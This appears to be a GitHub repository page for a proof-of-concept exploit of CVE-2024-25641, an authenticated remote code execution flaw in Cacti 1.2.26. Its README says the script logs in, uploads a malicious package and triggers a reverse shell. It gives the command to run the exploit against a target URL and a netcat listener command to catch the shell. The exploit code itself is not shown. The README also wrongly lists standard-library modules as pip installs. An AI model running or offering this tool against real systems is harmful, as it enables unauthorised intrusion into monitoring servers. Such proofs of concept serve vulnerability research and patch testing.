Skip to content

PoC for CVE-2024-25641 Authenticated RCE on Cacti v1.2.26

Notifications You must be signed in to change notification settings

Safarchand/CVE-2024-25641

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 
 
 

Repository files navigation

Cacti CVE-2024-25641 Authenticated Package Upload RCE Proof of Concept (PoC)

This script is a Proof of Concept (PoC) for exploiting the CVE-2024-25641 vulnerability in Cacti, a web-based monitoring tool. The script automates the process of authenticating with the application, uploading a malicious package, and triggering a reverse shell.

Requirements

  • Python 3.x
  • requests library
  • argparse library
  • re library

You can install the required Python library using pip3:

pip3 install requests
pip3 install argparse
pip3 install re

Usage

(make sure to place the test.xml.gz in the same directory as the exploit.py)

python3 exploit.py --url <TARGET_URL> -u <USERNAME> -p <PASSWORD> -i <LOCAL_IP> -l <PORT> [--proxy]

Start nc listener

nc -nvlp <port>

Releases

No releases published

Packages

No packages published

Languages